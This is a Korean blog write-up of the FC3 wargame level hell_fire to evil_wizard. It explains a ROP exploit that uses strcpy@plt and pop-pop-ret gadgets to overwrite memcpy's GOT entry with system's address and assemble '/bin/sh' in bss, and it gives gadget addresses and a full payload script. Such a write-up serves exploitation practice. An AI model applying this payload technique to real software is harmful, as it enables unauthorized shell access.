Phantom

Hell_fire – evil_wizard 본문

Pwnable/[Wargame]FC3

Hell_fire – evil_wizard

Ph4nt0m_ 2016. 2. 25. 19:26
반응형

이번 문제는 RET Sleding 을 방해해버리고 SFP도 복원시킨다 그리고 힌트에는 GOT Overwrite와 pop_pop_ret 함수가 있다.

 

이번 문제는 GOT Overwrite를 이용한 ROP이다.

생각 보다 쉬울 듯 하다.

Ret Sleding을 할 필요도 없고, SFP를 조작할 필요도 없다.

우리는 PPR가젯이 있기 때문에 strcpy함수로 어느 함수의 GOT에 system함수의 주소를 넣고

또 다른 어느 곳에 /bin/sh문자열 가젯을 넣을것이다

그리고 어느 함수를 실행하면 system("/bin/sh")가 되게끔 할 것이다.

소스를 보면 strcpy다음에 memcpy와 memset이 있는데 우리는 memcpy의 GOT에 system함수의 주소를 넣고

Bss 영역에 /bin/sh를 넣고 실행 할 것이다.

 

그러기 위해서 필요한 것들을 나열해 보면

 

strpy@plt

memcpy@got

memcpy@plt

bss

ppr

/bin/sh

System

 

이렇게 될 것 같다.

그럼 우선 bss영역과 plt, got 주소들을 찾자

이제 POP_POP_RET 가젯을 찾자

그리고 system함수의 주소

 

이제 0x007507c0과 /bin/sh의 가젯 들을 찾는다

 

System – 0x007507c0

 

/bin/sh

/ - 0x8048114

b - /+3

i - /+2

n - /+10

/

s - /+14

h –

 

정리해보자면

 

Bss – 0x80498b0

strcpy@plt – 0x8048494

memcpy@plt – 0x8048434

memcpy@got – 0x8049888

ppr – 0x804854f

system –

    \xc0 – 0x8048414+12

    \x07 – 0x8048148+12

    \x75 – 0x80482c8

    \x00 – 0x804812a

/bin/sh –

    / - 0x8048114

    B - /+3

    I - /+2

    N - /+10

    /

    S - /+14

    H – 0x804836c

 

이제 페이로드를 짜 보자면

sh = 0x8048114

payload = "A"*268

payload += L(strcpy_plt) + L(ppr) + L(memcpy_got+0) + L(0x8048414+12) # \xc0

payload += L(strcpy_plt) + L(ppr) + L(memcpy_got+1) + L(0x8048148+12) # \x07

payload += L(strcpy_plt) + L(ppr) + L(memcpy_got+2) + L(0x80482c8) # \x75

payload += L(strcpy_plt) + L(ppr) + L(memcpy_got+3) + L(0x804812a) # \x00

 

payload += L(strcpy_plt) + L(ppr) + L(bss+0) + L(sh) # /

payload += L(strcpy_plt) + L(ppr) + L(bss+1) + L(sh+3) # b

payload += L(strcpy_plt) + L(ppr) + L(bss+2) + L(sh+2) # i

payload += L(strcpy_plt) + L(ppr) + L(bss+3) + L(sh+10) # n

payload += L(strcpy_plt) + L(ppr) + L(bss+4) + L(sh) # /

payload += L(strcpy_plt) + L(ppr) + L(bss+5) + L(sh+14) # s

payload += L(strcpy_plt) + L(ppr) + L(bss+6) + L(0x804836c) # h

payload += L(strcpy_plt) + L(ppr) + L(bss+7) + L(0x804812a) # null

payload += L(memcpy_plt) + "AAAA" + L(bss)

 

코드를 짜고 실행해보면

이런 에러가 뜨면 가젯이 잘못된 것이다. 다른 가젯 들을 잘 찾아 다시 실행해보자

 

최종 소스

좋은 가젯을 찾는게 참 어려운 것 같다.

반응형

'Pwnable > [Wargame]FC3' 카테고리의 다른 글

[FC3] Gate – Iron_golem  (0) 2017.04.21
Dark_eyes – Hell_fire  (2) 2016.02.23
[FC3] Iron_golem – Dark_eyes  (0) 2016.02.19
Comments